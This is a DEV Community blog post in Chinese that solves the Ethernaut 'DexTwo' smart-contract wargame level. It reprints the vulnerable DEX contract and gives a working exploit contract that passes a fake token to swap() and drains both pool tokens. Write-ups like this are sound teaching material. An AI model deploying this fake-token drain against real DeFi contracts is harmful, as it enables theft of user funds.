DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 23(DexTwo)

LEVEL 23 (DexTwo):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

token1和token2的余额为0

要点

需要严格检测入参的合法性,所有入参都是不可信的

解题思路

swap方法并没有检查from的合法,可以传任意地址,我们可以传自己的contract,并在被调用的方法balanceOf/transferFrom里面作假

contract DexTwoRun{

  function balanceOf(address) external pure returns (uint){
    return 100;
  }

  function transferFrom(address,address,uint256) public virtual returns (bool) {
    return true;
  }

  function run(address _runAddress,address _token1,address _token2) external {
    //swap没有检测from和to的地址是否合法,所以可以传自己,然后在balanceOf/transferFrom方法里作假
    ILevel(_runAddress).swap(address(this), _token1, 100);    
    ILevel(_runAddress).swap(address(this), _token2, 100);    
  }

}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)